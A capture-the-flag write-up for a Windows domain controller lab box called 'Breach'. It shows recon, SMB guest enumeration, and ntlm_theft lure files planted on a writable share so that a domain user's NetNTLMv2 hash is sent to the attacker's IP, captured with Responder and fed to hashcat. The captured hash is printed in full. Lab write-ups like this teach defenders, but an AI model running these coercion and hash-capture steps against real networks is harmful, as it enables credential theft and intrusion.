Breach

Breach is a Windows domain controller box. I’ll start by using guest access to a writable SMB share to drop ntlm_theft lure files, capturing a NetNTLMv2 hash for a domain user with Responder. After cracking that hash, I’ll use BloodHound to find a Kerberoastable MSSQL service account and crack its hash as well. Both accounts map to guest on MSSQL, but I’ll forge a silver ticket as Administrator to get sysadmin access, enable xp_cmdshell, and use GodPotato to escalate to SYSTEM.

Box Info

Medium
Release Date 09 Oct 2025
Retire Date 09 Oct 2025
OS Windows Windows
Non-competitive release: no bloods
Creator xct
Scenario
The User flag for this Box is located in a non-standard directory, C:\share\transfer\.

Recon

Initial Scanning

nmap finds 20 open TCP ports:

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.10.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:37 UTC
...[snip]...
Nmap scan report for 10.129.10.28
Host is up, received echo-reply ttl 127 (0.045s latency).
Scanned at 2026-02-03 12:38:00 UTC for 33s
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
55568/tcp open  unknown          syn-ack ttl 127
59141/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.38 seconds
           Raw packets sent: 327628 (14.416MB) | Rcvd: 33 (1.436KB)
oxdf@hacky$ sudo nmap -p 53,80,88,135,139,445,464,593,636,1433,3268,3269,3389,5985,9389,49664,49667,55568,59141 -sCV 10.129.10.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:40 UTC
Nmap scan report for 10.129.10.28
Host is up (0.022s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-03 12:40:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-02-03T12:42:27+00:00; +5s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-03T12:20:50
|_Not valid after:  2056-02-03T12:20:50
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Not valid before: 2025-09-07T08:04:48
|_Not valid after:  2026-03-09T08:04:48
| rdp-ntlm-info:
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-03T12:41:46+00:00
|_ssl-date: 2026-02-03T12:42:26+00:00; +4s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
55568/tcp open  msrpc         Microsoft Windows RPC
59141/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-02-03T12:41:46
|_  start_date: N/A
|_clock-skew: mean: 4s, deviation: 0s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.25 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is breach.vl, and the hostname is BREACHDC.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.129.10.28 --generate-hosts-file hosts
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
oxdf@hacky$ cat hosts 
10.129.10.28     BREACHDC.breach.vl breach.vl BREACHDC
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

nmap notes my clock is roughly in sync with the DC, which is necessary to do any actions that use Kerberos auth.

For next steps in enumeration, I’ll check out the website on 80 and SMB for any anonymous access. When I get creds, I’ll want to check out MSSQL (1433) as well as WinRM (5985) or RDP (3389) for shell access.

Website - TCP 80

Site

Loading the site by IP or domain, it just shows the IIS default page:

image-20260203081620256

Tech Stack

This is clearly IIS, and the HTTP response headers show it’s IIS version 10:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 17 Feb 2022 09:54:35 GMT
Accept-Ranges: bytes
ETag: "997d8d5ee423d81:0"
Server: Microsoft-IIS/10.0
Date: Tue, 03 Feb 2026 13:15:53 GMT
Content-Length: 703

The main page loads as /iisstart.htm, which matches the default install. The 404 page is the default IIS 404:

image-20260203082107392

Directory Brute Force

I’ll run feroxbuster against the site, with a lowercase wordlist for Windows:

oxdf@hacky$ feroxbuster -u http://breach.vl -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt    
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://breach.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      334l     2089w   180418c http://breach.vl/iisstart.png
200      GET       32l       55w      703c http://breach.vl/
400      GET        6l       26w      324c http://breach.vl/error%1F_log
[####################] - 12s    26587/26587   0s      found:3       errors:0      
[####################] - 12s    26584/26584   2255/s  http://breach.vl/ 

It finds nothing.

SMB - TCP 445

Users

The guest account is not able to list users, but it can brute force RIDs:

oxdf@hacky$ netexec smb BREACHDC.breach.vl -u guest -p '' --users
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\guest:
oxdf@hacky$ netexec smb BREACHDC.breach.vl -u guest -p '' --rid-brute
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\guest:
SMB         10.129.10.28    445    BREACHDC         498: BREACH\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         500: BREACH\Administrator (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         501: BREACH\Guest (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         502: BREACH\krbtgt (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         512: BREACH\Domain Admins (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         513: BREACH\Domain Users (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         514: BREACH\Domain Guests (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         515: BREACH\Domain Computers (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         516: BREACH\Domain Controllers (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         517: BREACH\Cert Publishers (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         518: BREACH\Schema Admins (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         519: BREACH\Enterprise Admins (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         520: BREACH\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         521: BREACH\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         522: BREACH\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         525: BREACH\Protected Users (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         526: BREACH\Key Admins (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         527: BREACH\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         553: BREACH\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         571: BREACH\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         572: BREACH\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         1000: BREACH\BREACHDC$ (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1101: BREACH\DnsAdmins (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         1102: BREACH\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         1103: BREACH\SQLServer2005SQLBrowserUser$BREACHDC (SidTypeAlias)
SMB         10.129.10.28    445    BREACHDC         1104: BREACH\staff (SidTypeGroup)
SMB         10.129.10.28    445    BREACHDC         1105: BREACH\Claire.Pope (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1106: BREACH\Julia.Wong (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1107: BREACH\Hilary.Reed (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1108: BREACH\Diana.Pope (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1109: BREACH\Jasmine.Price (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1110: BREACH\George.Williams (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1111: BREACH\Lawrence.Kaur (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1112: BREACH\Jasmine.Slater (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1113: BREACH\Hugh.Watts (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1114: BREACH\Christine.Bruce (SidTypeUser)
SMB         10.129.10.28    445    BREACHDC         1115: BREACH\svc_mssql (SidTypeUser)

The username format seems to be <first>.<last>, and there’s one service account, svc_mssql (which it is reasonable to assume is running the MSSQL service on 1433).

Share Enumeration

The guest account is able to list shares:

oxdf@hacky$ netexec smb  BREACHDC.breach.vl -u guest -p '' --shares
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\guest: 
SMB         10.129.10.28    445    BREACHDC         [*] Enumerated shares
SMB         10.129.10.28    445    BREACHDC         Share           Permissions     Remark
SMB         10.129.10.28    445    BREACHDC         -----           -----------     ------
SMB         10.129.10.28    445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.129.10.28    445    BREACHDC         C$                              Default share
SMB         10.129.10.28    445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.129.10.28    445    BREACHDC         NETLOGON                        Logon server share 
SMB         10.129.10.28    445    BREACHDC         share           READ,WRITE      
SMB         10.129.10.28    445    BREACHDC         SYSVOL                          Logon server share 
SMB         10.129.10.28    445    BREACHDC         Users           READ

It has read access to the Users share, and read/write on share. I’ll use the spider_plus modules to get a full listing of each readable share:

oxdf@hacky$ netexec smb  BREACHDC.breach.vl -u guest -p '' -M spider_plus
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\guest: 
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*]  OUTPUT_FOLDER: /home/oxdf/.nxc/modules/nxc_spider_plus
SMB         10.129.10.28    445    BREACHDC         [*] Enumerated shares
SMB         10.129.10.28    445    BREACHDC         Share           Permissions     Remark
SMB         10.129.10.28    445    BREACHDC         -----           -----------     ------
SMB         10.129.10.28    445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.129.10.28    445    BREACHDC         C$                              Default share
SMB         10.129.10.28    445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.129.10.28    445    BREACHDC         NETLOGON                        Logon server share 
SMB         10.129.10.28    445    BREACHDC         share           READ,WRITE      
SMB         10.129.10.28    445    BREACHDC         SYSVOL                          Logon server share 
SMB         10.129.10.28    445    BREACHDC         Users           READ            
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [+] Saved share-file metadata to "/home/oxdf/.nxc/modules/nxc_spider_plus/10.129.10.28.json".
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] SMB Shares:           7 (ADMIN$, C$, IPC$, NETLOGON, share, SYSVOL, Users)
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] SMB Readable Shares:  3 (IPC$, share, Users)
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] SMB Writable Shares:  1 (share)
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] Total folders found:  63
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] Total files found:    67
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] File size average:    27.75 KB
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] File size min:        3 B
SPIDER_PLUS 10.129.10.28    445    BREACHDC         [*] File size max:        512 KB

Users Share

I’ll use jq to get a list of all the files from the Users share:

oxdf@hacky$ cat 10.129.10.28.json | jq '.Users | to_entries[] | .key' -r
Default/AppData/Local/Microsoft/Windows Sidebar/settings.ini
Default/AppData/Local/Microsoft/Windows/History/desktop.ini
Default/AppData/Local/Microsoft/Windows/PowerShell/StartupProfileData-Interactive
Default/AppData/Local/Microsoft/Windows/Shell/DefaultLayouts.xml
Default/AppData/Local/Microsoft/Windows/UsrClass.dat
Default/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG1
Default/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG2
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TM.blf
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TMContainer00000000000000000001.regtrans-ms
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TMContainer00000000000000000002.regtrans-ms
Default/AppData/Local/Microsoft/Windows/WinX/Group1/1 - Desktop.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group1/desktop.ini
Default/AppData/Local/Microsoft/Windows/WinX/Group2/1 - Run.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/2 - Search.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/3 - Windows Explorer.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/4 - Control Panel.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/5 - Task Manager.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/desktop.ini
Default/AppData/Local/Microsoft/Windows/WinX/Group3/01 - Command Prompt.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/01a - Windows PowerShell.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/02 - Command Prompt.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/02a - Windows PowerShell.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/03 - Computer Management.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/04 - Disk Management.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/04-1 - NetworkStatus.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/05 - Device Manager.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/06 - SystemAbout.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/07 - Event Viewer.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/08 - PowerAndSleep.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/09 - Mobility Center.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/10 - AppsAndFeatures.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/desktop.ini
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/Magnify.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/Narrator.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/On-Screen Keyboard.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setwallpaper.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Administrative Tools.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Command Prompt.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Control Panel.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/File Explorer.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Run.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/computer.lnk
Default/Desktop/EC2 Feedback.website
Default/Desktop/EC2 Microsoft Windows Guide.website
Default/NTUSER.DAT
Default/ntuser.ini
Public/AccountPictures/desktop.ini
Public/Documents/desktop.ini
Public/Downloads/desktop.ini
Public/Libraries/RecordedTV.library-ms
Public/Libraries/desktop.ini
Public/Music/desktop.ini
Public/Pictures/desktop.ini
Public/Videos/desktop.ini
Public/desktop.ini
desktop.ini

It’s the Default and Public user directories. Nothing interesting here.

share

The share share has three folders:

oxdf@hacky$ smbclient //BREACHDC.breach.vl/share -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb  3 13:38:41 2026
  ..                                DHS        0  Tue Sep  9 10:35:32 2025
  finance                             D        0  Thu Feb 17 11:19:34 2022
  software                            D        0  Thu Feb 17 11:19:12 2022
  transfer                            D        0  Mon Sep  8 10:13:44 2025

                7863807 blocks of size 4096. 1518950 blocks available

finance and software are both empty (as far as guest can see). transfer has three more directories:

smb: \transfer\> ls
  .                                   D        0  Mon Sep  8 10:13:44 2025
  ..                                  D        0  Tue Feb  3 13:38:41 2026
  claire.pope                         D        0  Thu Feb 17 11:21:35 2022
  diana.pope                          D        0  Thu Feb 17 11:21:19 2022
  julia.wong                          D        0  Thu Apr 17 00:38:12 2025

                7863807 blocks of size 4096. 1518534 blocks available

guest is not able to list inside any of these.

Auth as Julia.Wong

Steal NetNTLMv2

With a share that is writable, it’s worth taking a shot at dropping files (like .scf, .url, .library-ms, and desktop.ini) that contain UNC path references pointing back to my IP. When Windows Explorer renders the folder or a user opens one of the files, Windows automatically attempts to authenticate to the remote SMB server, completing an NTLM challenge-response that I can capture and attempt to crack offline. ntlm_theft is a nice tool for generating a bunch of these at once. I’ll grab a copy:

oxdf@hacky$ git clone https://github.com/Greenwolf/ntlm_theft
Cloning into 'ntlm_theft'...
remote: Enumerating objects: 151, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 151 (delta 31), reused 24 (delta 24), pack-reused 113 (from 1)
Receiving objects: 100% (151/151), 2.12 MiB | 14.70 MiB/s, done.
Resolving deltas: 100% (73/73), done.
oxdf@hacky$ cd ntlm_theft/

To run it using uv, I’ll have to add the single library requirement. Then it runs:

oxdf@hacky$ uv add --script ntlm_theft.py xlsxwriter
Updated `ntlm_theft.py`
oxdf@hacky$ uv run ntlm_theft.py 
Installed 1 package in 11ms
usage: ntlm_theft.py --generate all --server <ip_of_smb_catcher_server> --filename <base_file_name>
ntlm_theft.py: error: the following arguments are required: -g/--generate, -s/--server, -f/--filename

I’ll give it the required formats (all), my IP, and a base name:

oxdf@hacky$ uv run ntlm_theft.py -g all -s 10.10.14.16 -f lure
Created: lure/lure.scf (BROWSE TO FOLDER)
Created: lure/lure-(url).url (BROWSE TO FOLDER)
Created: lure/lure-(icon).url (BROWSE TO FOLDER)
Created: lure/lure.lnk (BROWSE TO FOLDER)
Created: lure/lure.rtf (OPEN)
Created: lure/lure-(stylesheet).xml (OPEN)
Created: lure/lure-(fulldocx).xml (OPEN)
Created: lure/lure.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(includepicture).docx (OPEN)
Created: lure/lure-(remotetemplate).docx (OPEN)
Created: lure/lure-(frameset).docx (OPEN)
Created: lure/lure-(externalcell).xlsx (OPEN)
Created: lure/lure.wax (OPEN)
Created: lure/lure.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: lure/lure.asx (OPEN)
Created: lure/lure.jnlp (OPEN)
Created: lure/lure.application (DOWNLOAD AND OPEN)
Created: lure/lure.pdf (OPEN AND ALLOW)
Created: lure/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: lure/lure.library-ms (BROWSE TO FOLDER)
Created: lure/Autorun.inf (BROWSE TO FOLDER)
Created: lure/desktop.ini (BROWSE TO FOLDER)
Created: lure/lure.theme (THEME TO INSTALL
Generation Complete.

From that directory, I’ll connect to SMB and upload all the files. It works to drop them in the transfer directory:

oxdf@hacky$ smbclient //BREACHDC.breach.vl/share -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> cd transfer\
smb: \transfer\> prompt off
smb: \transfer\> mput *
putting file Autorun.inf as \transfer\Autorun.inf (1.2 kb/s) (average 1.2 kb/s)
putting file lure-(handler).htm as \transfer\lure-(handler).htm (1.7 kb/s) (average 1.4 kb/s)
putting file lure.asx as \transfer\lure.asx (2.2 kb/s) (average 1.7 kb/s)
putting file lure.wax as \transfer\lure.wax (0.8 kb/s) (average 1.5 kb/s)
putting file desktop.ini as \transfer\desktop.ini (0.7 kb/s) (average 1.3 kb/s)
putting file lure.m3u as \transfer\lure.m3u (0.7 kb/s) (average 1.2 kb/s)
putting file lure.pdf as \transfer\lure.pdf (11.6 kb/s) (average 2.7 kb/s)
putting file lure-(frameset).docx as \transfer\lure-(frameset).docx (153.6 kb/s) (average 21.6 kb/s)
putting file lure-(fulldocx).xml as \transfer\lure-(fulldocx).xml (805.5 kb/s) (average 135.0 kb/s)
putting file lure-(remotetemplate).docx as \transfer\lure-(remotetemplate).docx (394.9 kb/s) (average 160.1 kb/s)
putting file lure.library-ms as \transfer\lure.library-ms (18.3 kb/s) (average 147.6 kb/s)
putting file zoom-attack-instructions.txt as \transfer\zoom-attack-instructions.txt (1.7 kb/s) (average 135.7 kb/s)
putting file lure-(externalcell).xlsx as \transfer\lure-(externalcell).xlsx (86.6 kb/s) (average 131.9 kb/s)
putting file lure.lnk as \transfer\lure.lnk (32.5 kb/s) (average 125.0 kb/s)
putting file lure-(includepicture).docx as \transfer\lure-(includepicture).docx (155.9 kb/s) (average 127.0 kb/s)
putting file lure-(stylesheet).xml as \transfer\lure-(stylesheet).xml (1.8 kb/s) (average 116.7 kb/s)
putting file lure-(url).url as \transfer\lure-(url).url (0.9 kb/s) (average 110.2 kb/s)
putting file lure.rtf as \transfer\lure.rtf (1.5 kb/s) (average 104.4 kb/s)
putting file lure-(icon).url as \transfer\lure-(icon).url (1.5 kb/s) (average 98.8 kb/s)
putting file lure.jnlp as \transfer\lure.jnlp (2.9 kb/s) (average 94.2 kb/s)
putting file lure.theme as \transfer\lure.theme (24.9 kb/s) (average 91.1 kb/s)
putting file lure.application as \transfer\lure.application (24.8 kb/s) (average 88.1 kb/s)
putting file lure.scf as \transfer\lure.scf (1.3 kb/s) (average 84.5 kb/s)
putting file lure.htm as \transfer\lure.htm (0.9 kb/s) (average 80.1 kb/s)

I’ll start Responder and after a couple minutes, I get a hash for Julia.Wong:

oxdf@hacky$ sudo uv run Responder.py -I tun0
...[snip]...
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.10.28
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:a1905663fa6d011b:859D2DC6D8872075FC28AF6FCDEBD0A2:010100000000000080922CDC1695DC018084F250342348B3000000000200080034004B004C005A0001001E00570049004E002D004D0044003300370053004E005300370049004200300004003400570049004E002D004D0044003300370053004E00530037004900420030002E0034004B004C005A002E004C004F00430041004C000300140034004B004C005A002E004C004F00430041004C000500140034004B004C005A002E004C004F00430041004C000700080080922CDC1695DC01060004000200000008003000300000000000000001000000002000007DFD839998ABFEAF3543946F2887DFF7FE3639D97E950F696E379D16007F62850A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong

It’s not clear to me which of these are firing, but there’s a bunch of connections, so it could be multiple.

Crack Hash

I’ll save the hash to a file and pass it to hashcat with rockyou.txt:

$ hashcat julia.wong.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
